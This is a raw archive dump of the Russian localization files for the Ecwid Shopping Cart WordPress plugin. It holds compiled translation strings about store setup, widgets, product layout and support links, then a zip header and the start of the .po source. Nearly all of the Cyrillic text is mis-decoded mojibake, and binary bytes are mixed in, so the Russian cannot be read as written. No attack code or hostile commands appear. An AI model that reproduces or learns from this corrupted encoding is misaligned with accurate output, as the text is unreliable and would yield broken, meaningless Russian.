ÑоответÑÑ‚Ð²Ð¸Ñ Ð¼Ð¸Ñ€Ð¾Ð²Ñ‹Ð¼ требованиÑм безопаÑной передачи данных: Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ магазина и ваших клиентов надёжно защищена. <a target="_blank" href="https://support.ecwid.com/hc/ru/articles/207101259-Wordpress#security">Подробнее о безопаÑноÑти.</a>�Эквид — Ñто конÑтруктор интернет-магазина.�Эквид ÑовмеÑтим Ñ Ð»ÑŽÐ±Ð¾Ð¹ темой, будь то беÑÐ¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð° из каталога WordPress.org, Ð¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ñ‚ÐµÐ¼Ð° или Ð·Ð°ÐºÐ°Ð·Ð½Ð°Ñ Ñ€Ð°Ð·Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ°. Ваш магазин должен работать хорошо в любом Ñлучае. ЕÑли вы ищете хорошие премиум-темы, мы рекомендуем <a href="%s">TemplateMonster</a>�Эквид ÑовмеÑтим Ñ Ñ‚ÐµÐ¼Ð¾Ð¹<br>"%s" вашего Ñайта из коробки.�Лучший ÑпоÑоб быÑтро изменить что-либо в товаре – воÑпользоватьÑÑ Ð¼Ð¾Ð±Ð¸Ð»ÑŒÐ½Ñ‹Ð¼ приложение. Приложение Эквида Ð´Ð»Ñ iOS и Android доÑтупно Ñ Ð»ÑŽÐ±Ñ‹Ð¼ платным тарифным планом и поможет вам управлÑть заказами, вноÑить Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² каталог товаров и региÑтрировать новые покупки при личных вÑтречах Ñ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñми где бы вы ни находилиÑÑŒ. <a target="_blank" href="https://www.ecwid.ru/blog/quick-mobile-connect.html">Подробнее о мобильном приложении.</a>�Интернет-магазин Эквид�Виджет интернет-магазина Эквид�Задать вручную�ÐаÑтроить внешний вид�Редактировать категорию�Редактировать товар�ÐаÑтройки магазина�Показывать корзину у меню категорий�Введите ваш ID Магазина�ПреимущеÑтва�Положение панели фильтров�Ðачало�Форум�БеÑплатный план и обновлениÑ�Ð’Ñегда доÑтупный беÑплатный план Ñ Ð¼Ð½Ð¾Ð¶ÐµÑтвом<br>возможноÑтей. ÐžÐ±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° автоматизированы,<br> беÑплатны и не требуют вашего учаÑтиÑ.�РегиÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð±ÐµÑплатна, ÐºÑ€ÐµÐ´Ð¸Ñ‚Ð½Ð°Ñ ÐºÐ°Ñ€Ñ‚Ð° не требуетÑÑ�ЧаÑто Задаваемые ВопроÑÑ‹�УÑтановить мобильное приложение %s�ЗарегиÑтрировать аккаунт %s�Продавать онлайн – Ñто проÑто�Глобальное решение�ПриветÑтвуем!�Добро пожаловать в %s!�Сетка�Вид "Ñетка"�Помощь�ЗдеÑÑŒ вы можете задать количеÑтво отображаемых продуктов на Ñтранице. Эти цифры определÑÑŽÑ‚ макÑимальные значениÑ. ЕÑли на Ñтранице в Ñетке продуктов будет недоÑтаточно меÑта Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð²Ñех Ñтолбцов, %s уменьшит их количеÑтво.�Скрывать�Горизонтально�Как добавить корзину в боковую панель Ñайта (sidebar)?�Как быÑтро внеÑти Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² каталог товаров?�Как вам помочь?�Как добавить категории в меню Ñайта?�Как добавить товары в карту Ñайта (sitemap)?�Сколько Ñтоит Эквид?�БезопаÑен ли Эквид?�Как добавить отдельный товар Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ð¾Ð¹ на Ñтраницу Ñайта?�Как добавить магазин на Facebook?�Я не Ñмог подобрать тему, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ñ…Ð¾Ñ€Ð¾ÑˆÐ¾ работает Ñ %s�У Ð¼ÐµÐ½Ñ Ð²Ð¾Ð·Ð½Ð¸ÐºÐ»Ð° проблема Ñ %s-магазином�Тема моего Ñайта: %s�Ðазвание по наведению мыши�Полноразмерные изображениÑ�Формат галереи�Только изображение�Ð’Ñтавить�Ð’Ñтавить в Ñтраницу�Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ Ð¿Ð¾Ð¸Ñком на Ñайте�Как добавить магазин на домашнюю Ñтраницу?�СущеÑтвуют ли темы Ð´Ð»Ñ Ð­ÐºÐ²Ð¸Ð´Ð°?�ОбщайтеÑÑŒ Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ пользователÑми Эквида и командой поддержки клиентов по любым вопроÑам, ÑвÑзанным Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð¾Ð¹ вашего магазина.�По ширине�База знаний�L�Горизонтальные 3:2�Горизонтальные 4:3�Конец�ПоÑледнÑÑ ÑинхронизациÑ�Ðовые товары�По левому краю�Цвет ÑÑылок�СпиÑок�Вид "ÑпиÑок"�Похоже, что ваш Ñервер не поддерживает удаленные POST запроÑÑ‹, которые необходимы Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ %s API. ПожалуйÑта, ÑвÑжитеÑÑŒ Ñ Ñ…Ð¾Ñтинг-провайдером, чтобы иÑправить Ñто.�M�Ð“Ð»Ð°Ð²Ð½Ð°Ñ Ñтраница магазина�УправлÑйте магазином Ñ iPhone, iPad, Android�Управление магазином�УправлÑть магазином�Ð’Ñ‹ Ñможете добавлÑть товары, обрабатывать заказы и управлÑть магазином прÑмо на Ñтой Ñтранице.�Эквид уже иÑпользуют 800,000 продавцов из 175 Ñтран�Профиль�Ðазвание�Больше не показывать Ñто Ñообщение�СледующаÑ�СледующаÑ�ÐšÑ€ÐµÐ´Ð¸Ñ‚Ð½Ð°Ñ ÐºÐ°Ñ€Ñ‚Ð° не требуетÑÑ�Ðе Ñинхронизовано�Ðовые SEO URLs магазина будут включены по умолчанию в одной из будущих верÑий плагина. ПоÑтому мы рекомендуем вам включить Ñту опцию и попробовать SEO URLs на Ñвоём Ñайте. ЕÑли вы заметите какие-либо проблемы, пожалуйÑта, <a %s>дайте нам знать</a>, мы поможем.�По запроÑу <span class="empty-page__term">"{{ data.term }}"</span> ничего не найдено�КоличеÑтво категорий в Ñ€Ñд�КоличеÑтво продуктов на Ñтранице�КоличеÑтво товаров Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ�Слева�Справа�ÐŸÑ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°�Открыть панель управлениÑ�ÐаÑтройки магазина�Параметры�Или вы можете добавить форму поиÑка на ваш Ñайт Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ <a href="%s">виджетов WordPress</a>�Или вы можете добавить вертикальное меню категорий на ваш Ñайт Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ <a href="%s">виджетов WordPress</a>�Заказы�Мы предлагаем 4 тарифных плана: от беÑплатного Ñ 10 товарами до безлимитного. Платные тарифные планы раÑширÑÑŽÑ‚ возможноÑти магазина и открывают перÑональную техничеÑкую поддержку в реальном времени.<br /><a target="_blank" href="%s">Подробнее о раÑценках.</a>�Мы уже работаем над иÑправлением проблемы. Перезагрузите Ñтраницу через пару минут. ЕÑли проблема ÑохранитÑÑ, пожалуйÑта, <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">ÑвÑжитеÑÑŒ Ñ Ð½Ð°Ð¼Ð¸</a>.�Более миллиона продавцов из 175 Ñтран�Ð¡ÐµÑ€Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð¿Ð¾ PCI DSS�Изображение�Мы добавили Ñтот инÑтрумент недавно, и он ÑÐµÐ¹Ñ‡Ð°Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÐµÑ‚ в бета-режиме. ЕÑли вы обнаружите какие-либо проблемы в его работе, пожалуйÑта, <a %s>Ñообщите нам</a>.�Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ ÑÐµÐ¹Ñ‡Ð°Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÐµÑ‚ в бета-режиме. ЕÑли вы обнаружите проблемы в её работе, пожалуйÑта, <a %s>Ñообщите нам</a>.�ПодпишитеÑÑŒ на платный план, чтобы получить Ñту функциональноÑть.�Плагин уÑпешно уÑтановлен!�ÐŸÑ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð­ÐºÐ²Ð¸Ð´Ð°�Вертикальные 2:3�Вертикальные 3:4�Положение на Ñтранице�Подготовка панели управлениÑ�ПредыдущаÑ�Цена�Цвет цены�Дизайн ÑпиÑка товаров�Дизайн Ñтраницы товара�Ðртикул товара�ПоиÑк товаров�Выравнивание данных товара�Каталог товаров отображаетÑÑ Ð¿Ð¾ умолчанию�Формат карточки товара�Цена товара�Поле "КоличеÑтво"�Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ð° Ñтранице�Формат Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð°�Размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð°�Ðазвание товара�Товары�Товары уÑпешно Ñинхронизированы. Страницы товаров обновлены.�Загружено товаров: %1$s из %2$s�Перейдите по Ñтой ÑÑылке, чтобы предоÑтавить доÑтуп.�КоличеÑтво�ЕÑть вопроÑÑ‹?�Случайный товар�Оценить %s на WordPress.org�Подключить панель управлениÑ�ПоÑмотреть FAQ�ПроÑмотренные товары�Рекомендации Ð´Ð»Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°�Обновить ÑпиÑок категорий�ЗарегиÑтрируйтеÑÑŒ�ЗарегиÑтрироватьÑÑ Ð±ÐµÑплатно�Сообщить о проблеме�Ðдаптивный дизайн�По правому краю�S�SEO URLs�Ðртикул�Продажи�Сохранить и приÑоединить�Сохранить изменениÑ�ПоиÑк�ИÑкать в базе знаний�Эквид Ñертифицирован по Ñтандарту Level 1 PCI DSS – Ñамому выÑокому уровню безопаÑноÑти передачи данных.�ПоÑмотреть вÑе�Выбрать вÑе�Продавайте там,<br> где ваши клиенты�Продавайте там,<br> где ваши клиенты�Отправить�ПиÑьмо в Ñлужбу поддержки�Ðе удалоÑÑŒ отправить Ñообщение�Задать вручную�ÐаÑтроить магазин�ÐаÑтройки�УÑтановка�Кнопки "ПоделитьÑÑ"�Магазин�Корзина�Корзина (ПлавающаÑ)�Корзина (Мини)�Показывать�Показывать доп.изображение при наведении мыши�Меню категорий�Показывать опиÑание под изображением�Мини-корзина�Показывать при наведении мыши�Показывать цену в кнопке "Купить"�Показывать цену в кнопке «Купить»�Показывать рамку карточки товара�Показывать Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð¾Ð²�ПоиÑк�ОбъединÑет учетную запиÑÑŒ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° Ñайте Ñ ÐµÐ³Ð¾ учетной запиÑью в %s. Когда единый вход включен, покупателю не нужно логинитьÑÑ Ð´Ð²Ð°Ð¶Ð´Ñ‹ – на Ñайте и в магазине. ПоÑле входа в Ñвой аккаунт на Ñайте покупатель может Ñмотреть иÑторию Ñвоих заказов и оформлÑть новый заказ Ñ Ð¿Ñ€ÐµÐ´Ð·Ð°Ð¿Ð¾Ð»Ð½ÐµÐ½Ð½Ñ‹Ð¼ email и адреÑом доÑтавки.�ПроÑтите, у Ð½Ð°Ñ Ñ‚ÐµÑ…Ð½Ð¸Ñ‡ÐµÑкие проблемы.�Квадратные 1:1�Ðачните продавать�Ðачните продавать<br>на Ñвоём WordPress <nobr>Ñайте беÑплатно</nobr>�Откройте продажи на Ñвоём WordPress Ñайте, а затем размеÑтите витрину магазина в Ñоциальных ÑетÑÑ…, блоге, и выгрузите товары на торговые площадки ЯндекÑ.Маркет, eBay и Google Shopping.�ЕÑть вопроÑÑ‹? СвÑжитеÑÑŒ Ñ Ð½Ð°Ð¼Ð¸, мы будем рады вам помочь.�Магазин�Категории магазина�Ð“Ð»Ð°Ð²Ð½Ð°Ñ Ñтраница магазина�ID Магазина�ID магазина – Ñто уникальный номер аккаунта в %1$s. Ð’Ñ‹ можете его найти в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ %1$s-магазина: откройте Ñтраницу "<a %2$s>КонÑоль</a>" и найдите текÑÑ‚ "<b>ID ÐœÐ°Ð³Ð°Ð·Ð¸Ð½Ð° NNNNNNN</b>". �Ðазвание блока�ÐÐ°Ð²Ð¸Ð³Ð°Ñ†Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°�Страница магазина�СÑылка на магазин�Корневые категории магазина�Витрина�Магазин Ñоздан�ÐšÐ¾Ñ€Ð½ÐµÐ²Ð°Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°�Магазин Ñ Ð¼ÐµÐ½ÑŽ категорий�Тема�Синхронизировать товары�Таблица�Вид "таблица"�Магазин почти готов — оÑталоÑÑŒ неÑколько проÑтых шагов�ТехничеÑÐºÐ°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ�ТекÑÑ‚ ÑÑылки�Цвет текÑта�СпаÑибо, что выбрали %s Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ интернет-магазина. Первый шаг к уÑпешной онлайн торговле — наÑтройка магазина! Давайте добавим магазин на ваш Ñайт за неÑколько проÑтых шагов.�Корневые категории добавлÑÑŽÑ‚ÑÑ Ð² выпадающее меню автоматичеÑки�Темы Ð´Ð»Ñ Ð­ÐºÐ²Ð¸Ð´Ð°�До Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° на вашем WordPress Ñайте<br /> оÑталоÑÑŒ неÑколько проÑтых шагов�До Ð¾Ñ‚ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° на вашем WordPress Ñайте<br /> оÑталоÑÑŒ неÑколько проÑтых шагов�Включает кеширование главной Ñтраницы магазина Ð´Ð»Ñ ÑƒÑÐºÐ¾Ñ€ÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ витрины в браузере покупателÑ.�Включает новый "чиÑтый" формат ÑÑылок на товары и категории в магазине. Ðовые ÑÑылки не Ñодержат Ñимвола "#" и лучше индекÑируютÑÑ Ð¿Ð¾Ð¸Ñковыми ÑиÑтемами.�Ðазвание�Ðазвание на изображении�Только название�Ðазвание или артикул�Ðазвание под изображением�Ðазвание:�Добавьте дополнительные Ñлементы магазина, перетащив виджеты %s в нужное меÑто Ñайта. ПоÑле уÑтановки виджетов можете вернутьÑÑ Ðº наÑтройкам магазина.�Чтобы плагин автоматичеÑки объединÑл учетные запиÑи Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° Ñайте и в магазине %s, нужно дать ему доÑтуп до данных покупателей в магазине. <a %s>Перейдите по Ñтой ÑÑылке, чтобы предоÑтавить доÑтуп</a>.�Чтобы показать товары магазина в диалоге вÑтавки товара, плагину нужно подключитьÑÑ Ðº вашему магазину %s. От Ð²Ð°Ñ Ð¿Ð¾Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚ÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ разрешить плагину доÑтуп к вашему магазину.�Ð”Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ°Ñ€Ñ‚Ñ‹ Ñайта мы рекомендуем иÑпользовать плагин <a target="_blank" href="https://ru.wordpress.org/plugins/google-sitemap-plugin/">Google XML Sitemaps</a> или <a target="_blank" href="https://ru.wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. ПоÑле уÑтановки плагин ÑоздаÑÑ‚ карту Ñайта, Ñодержащую ÑÑылки на Ñтраницы товаров и категорий, и уÑкорит их индекÑацию поиÑковыми движками. Чтобы воÑпользоватьÑÑ Ñтой возможноÑтью подпишитеÑÑŒ на любой <a target="_blank" href="https://www.ecwid.ru/pricing">платный тарифный план</a>.�Ðажмите на кнопку, авторизуйтеÑÑŒ в %1$s и выдайте запрошенные права доÑтупа�Чтобы включить SEO URLs в магазине, вам потребуетÑÑ Ð´Ð»Ñ Ð½Ð°Ñ‡Ð°Ð»Ð° включить улучшенную Ñтруктуру поÑтоÑнных ÑÑылок в наÑтройках Wordpress. Ð”Ð»Ñ Ñтого в меню "<a%s>ÐаÑтройки -> ПоÑтоÑнные ÑÑылки</a>" выберите тип ÑÑылок "Ðазвание запиÑи".�Чтобы включить интеграцию Ñ Ð¿Ð¾Ð¸Ñком, нужно дать плагину доÑтуп до данных товаров в магазине.�Чтобы размеÑтить товар магазина на Ñтраницах Ñайта отдельно от оÑтальных, иÑпользуйте короткий код [ecwid_product]. <a target="_blank" href="https://support.ecwid.com/hc/ru/articles/207101259-Wordpress#embedasingleproduct">ÐŸÐ¾ÑˆÐ°Ð³Ð¾Ð²Ð°Ñ Ð¸Ð½ÑтрукциÑ.</a>�Чтобы обновить дизайн Ñтраницы товара и управлÑть наÑтройками вида в редакторе, включите опцию “Обновленный внешний вид Ñтраницы товара†в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° (<a href="admin.php?page=ec-store-admin-whatsnew">ÐаÑтройки → ОбновлениÑ</a>)�Чтобы обновить дизайн Ñвоего магазина и управлÑть наÑтройками вида в редакторе, включите опцию “Обновленный внешний вид каталога товаров на витрине†в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">ÐаÑтройки → ОбновлениÑ</a>â€)�Чтобы покупатели Ñмогли региÑтрироватьÑÑ, убедитеÑÑŒ, что региÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð° в <a %s>наÑтройках Ñайта</a>�Чтобы иÑпользовать Ñтот функционал, включите опцию “Обновленный внешний вид каталога товаров на витрине†в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° (<a%s>ÐаÑтройки → ОбновлениÑ</a>)�Справа вверху�Попробуйте другой запроÑ.�Ваш вопроÑ�Обновить�ПодпишитеÑÑŒ на платный план, чтобы получить Ñту возможноÑть�ИÑпользуйте мобильное приложение %s, чтобы получать и обрабатывать заказы в любой точке продаж. Ð’Ñе Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ ÑинхронизируютÑÑ Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð¼ на лету.�ИÑпользуйте наше мобильное приложение, чтобы получать и обрабатывать заказы в любой точке продаж. Ð’Ñе Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ ÑинхронизируютÑÑ Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð¼ на лету.�Вертикально�Открыть Ñтраницу магазина�Хотите подключить другой %s-магазин?�Товары загружаютÑÑ. Это может занÑть неÑколько минут. ПожалуйÑта, не перезагружайте Ñтраницу.�Добро пожаловать в %s!�Где найти ID Магазина:�Оптовые цены�Ð’Ñ‹ можете добавить корзину, форму Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка товаров и другие Ñлементы магазина в боковую панель на Ñтранице <a href="%s">«Внешний вид > Виджеты»</a>.�Перейдите на Ñтраницу «Внешний вид > Меню», добавьте Ñлемент «Магазин Ñ Ð¼ÐµÐ½ÑŽ категорий» в меню и Ñохраните изменениÑ. Сразу поÑле ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð¼ÐµÐ½ÑŽ Ñайта пополнитÑÑ Ð²Ñ‹Ð¿Ð°Ð´Ð°ÑŽÑ‰Ð¸Ð¼ ÑпиÑком категорий вашего магазина.�Ð’Ñ‹ можете размеÑтить магазин не только на Ñвоём WordPress-Ñайте, но и на любой другой Ñтранице Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Facebook. Ð—ÐµÑ€ÐºÐ°Ð»ÑŒÐ½Ð°Ñ ÐºÐ¾Ð¿Ð¸Ñ Ð²Ð¸Ñ‚Ñ€Ð¸Ð½Ñ‹ мгновенно отражает любые Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² магазине. Ðовые товары в каталоге, наличие на Ñкладе, заказы и покупатели – вÑе данные раÑпроÑтранÑÑŽÑ‚ÑÑ Ð¼ÐµÐ¶Ð´Ñƒ витринами на лету. <a target="_blank" href="https://support.ecwid.com/hc/ru/articles/115005892705-%D0%9C%D0%B0%D0%B3%D0%B0%D0%B7%D0%B8%D0%BD-%D0%BD%D0%B0-%D0%A4%D0%B5%D0%B9%D1%81%D0%B1%D1%83%D0%BA%D0%B5">Подробнее об уÑтановке на Facebook.</a>�Перейдите на Ñтраницу <a href="options-reading.php">«ÐаÑтройки > Чтение»</a> и выберите «Магазин » в выпадающем ÑпиÑке главной Ñтраницы.�Включите дополнительный плавающий виджет корзины, который будет поÑвлÑтьÑÑ Ð½Ð° Ñтраницах Ñайта. ДоÑтупно в меню “<a href="%1$s">Внешний вид → ÐаÑтроить → %2$s</a>â€�Тут можно отправить новый запроÑ.�Ð’Ñ‹ пока что не проÑмотрели ни одного товара. Открыть магазин.�Ð’Ñ‹ добавили витрину магазина на неÑколько Ñтраниц Ñайта. С помощью Ñтой наÑтройки вы можете выбрать, какую из Ñтраниц Ñчитать главной витриной — на неё будут ÑÑылатьÑÑ Ð¿ÑƒÐ½ÐºÑ‚Ñ‹ меню и Ñайдбар-виджеты.�ЕÑли вы добавили виджет корзины в боковое меню, Ñледует отключить Ñту наÑтройку�Вам будет предложено войти в панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ %s<br />и предоÑтавить права доÑтупа Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° на вашем Ñайте�Вам будет предложено войти в панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð­ÐºÐ²Ð¸Ð´Ð°<br />и предоÑтавить права доÑтупа Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° на вашем Ñайте�%s-магазин подключен<br /> к вашему WordPress Ñайту�%s-магазин уÑпешно подключен<br /> к вашему WordPress Ñайту�Сообщение отправлено�Товар�Панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð¼, вÑÑ‚Ñ€Ð¾ÐµÐ½Ð½Ð°Ñ Ð² Wordpress.�Магазин почти готов!�Ваш магазин выглÑдит превоÑходно<br />на любом уÑтройÑтве: планшете, Ñмартфоне и ноутбуке.�ЗдеÑÑŒ будет отображатьÑÑ Ð²Ð°Ñˆ магазин.�Магазин открыт Ð´Ð»Ñ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»ÐµÐ¹�наÑтроить внешний вид�Элементы виджета�Витрина магазина�https://support.ecwid.com/hc/ru�https://support.ecwid.com/hc/ru/articles/207101259-Wordpress-ORG�https://support.ecwid.com/hc/ru/requests/new�https://support.ecwid.com/hc/ru/search�https://support.ecwid.com/hc/ru/sections/201702859-%D0%A2%D0%B5%D1%85%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F-%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D1%8F�https://support.ecwid.com/hc/ru/sections/201706719-%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B-�https://support.ecwid.com/hc/ru/sections/201706799-%D0%9F%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D0%BA%D0%B0�https://support.ecwid.com/hc/ru/sections/201758445-%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B4%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD%D0%B0-�https://support.ecwid.com/hc/ru/sections/201758475-%D0%A3%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BC%D0%B0%D0%B3%D0%B0%D0%B7%D0%B8%D0%BD%D0%BE%D0%BC�https://www.ecwid.ru/blog�https://www.ecwid.com/forums/forumdisplay.php?f=10�Ðртикул�Цена�выбрать товар�Витрина магазина�Магазин�Кнопка «Купить»�PK������Ê—[ªá-ö@P�@P�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-ru_RU.ponu�„[µü¤��������# Copyright (C) 2017 Ecwid Shopping Cart # This file is distributed under the same license as the Ecwid Shopping Cart package. msgid "" msgstr "" "Project-Id-Version: Ecwid Shopping Cart 4.9.4\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/ecwid-shopping-cart\n" "POT-Creation-Date: 2017-05-30 19:04:12+00:00\n" "PO-Revision-Date: 2019-06-13 13:39+0400\n" "Language: ru_RU\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Last-Translator: \n" "Language-Team: \n" "X-Generator: Poedit 2.2.3\n" #: ecwid-shopping-cart.php:820 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "Плагин %s работает неправильно Ñ Ð¼Ð¾ÐµÐ¹ \"%s\" темой" #: ecwid-shopping-cart.php:835 msgid "I have a problem with my %s store" msgstr "У Ð¼ÐµÐ½Ñ Ð²Ð¾Ð·Ð½Ð¸ÐºÐ»Ð° проблема Ñ %s-магазином" #: ecwid-shopping-cart.php:863 templates/dashboard.php:44 msgid "Visit storefront" msgstr "Открыть Ñтраницу магазина" #: ecwid-shopping-cart.php:871 msgid "Manage my store" msgstr "УправлÑть магазином" #: ecwid-shopping-cart.php:879 msgid "Read FAQ" msgstr "ПоÑмотреть FAQ" #: ecwid-shopping-cart.php:881 msgid "https://support.ecwid.com/hc/en-us/articles/360000635709-Customizing-design-of-your-Ecwid-store-on-a-Wordpress-site" msgstr "https://support.ecwid.com/hc/ru/articles/207101259-Wordpress-ORG" #: ecwid-shopping-cart.php:890 msgid "Report a problem with the store" msgstr "Сообщить о проблеме" #: ecwid-shopping-cart.php:1175 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Интернет магазин поÑтроен на Эквиде</a>" #: ecwid-shopping-cart.php:1497 includes/class-ecwid-nav-menus.php:111 #: includes/class-ecwid-nav-menus.php:297 #: includes/class-ecwid-nav-menus.php:300 #: includes/class-ecwid-nav-menus.php:308 msgid "Store" msgstr "Магазин" #: ecwid-shopping-cart.php:1555 msgid "%s settings" msgstr "ÐаÑтройки %s" #: ecwid-shopping-cart.php:1723 includes/class-ecwid-admin.php:31 msgid "Setup" msgstr "УÑтановка" #: ecwid-shopping-cart.php:1723 msgid "Settings" msgstr "ÐаÑтройки" #: ecwid-shopping-cart.php:1799 includes/class-ecwid-admin.php:33 msgid "Dashboard" msgstr "КонÑоль" #: ecwid-shopping-cart.php:1801 includes/class-ecwid-admin.php:58 #: includes/class-ecwid-admin.php:59 includes/class-ecwid-products.php:242 msgid "Products" msgstr "Товары" #: ecwid-shopping-cart.php:1803 msgid "Orders" msgstr "Заказы" #: ecwid-shopping-cart.php:1805 includes/class-ecwid-nav-menus.php:144 msgid "Refresh categories list" msgstr "Обновить ÑпиÑок категорий" #: ecwid-shopping-cart.php:1806 includes/class-ecwid-nav-menus.php:145 msgid "Done" msgstr "Готово" #: ecwid-shopping-cart.php:1807 includes/class-ecwid-nav-menus.php:146 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Корневые категории добавлÑÑŽÑ‚ÑÑ Ð² выпадающее меню автоматичеÑки" #: ecwid-shopping-cart.php:1916 includes/class-ecwid-oauth.php:336 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s. This will only require you to 